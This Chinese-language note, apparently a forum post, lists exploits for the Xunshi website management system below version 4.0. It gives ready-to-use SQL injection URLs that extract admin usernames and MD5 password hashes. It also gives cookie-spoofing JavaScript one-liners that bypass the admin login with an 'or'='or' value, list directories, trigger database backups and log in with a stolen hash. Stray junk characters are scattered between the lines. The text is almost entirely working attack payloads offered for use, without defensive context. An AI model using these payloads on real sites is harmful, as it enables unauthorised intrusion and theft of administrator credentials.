讯时网站管理系统4.0以下漏洞

admin

一、注入
1 ]; k: d8 E) ^! Z" b- g& p1、news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
- e* \$ l. d) j! p
3 H3 j* |4 W4 }. \2、第一步：javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1");location.href="admin_chk.asp"
# n/ v. }$ Y1 c第二步：请求:admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
% L4 \6 ^8 O4 e% W# o' k可得到用户名和MD5加密码的密码。
6 A2 ]( q/ T; b( }2 @6 t
- s9 k' e* A3 x$ M% ~二、cookies欺骗
) G& R- M. U# }7 H4 ?$ b3 _. v
1、直接进后台，适用于较低版本，一般login.asp和admin_index.asp在同一目录下的版本有此漏洞.
3 f: O6 q9 \- V3 S7 v6 Xjavascript:alert(document.cookie="adminuser="+escape("'or'='or'"));alert(document.cookie="adminpass="+escape("'or'='or'"));alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
* O1 M9 D+ \3 z+ T
1 g6 g0 V% W9 p& b6 B9 T2、列目录.
javascript:alert(document.cookie="admindj="+escape("1"));location.href="edit/admin_uploadfile.asp?dir=.."

3、数据库备份(适用性好像比较低.)
+ s2 e3 i+ q# Z  E1 Mjavascript:alert(document.cookie="admindj="+escape("1"));location.href="admin_db_backup.asp?action=backupdata"
5 L5 x; K# ]# u" D+ l
: p9 Q0 b& E" D+ V: L0 b# Y5 I4、得到MD5密码解不了密进后台方法
6 S5 x5 {* p: v; V( z' i, Mjavascript:alert(document.cookie="adminuser="+escape("用户名")); alert(document.cookie="adminpass="+escape("md5密码")); alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"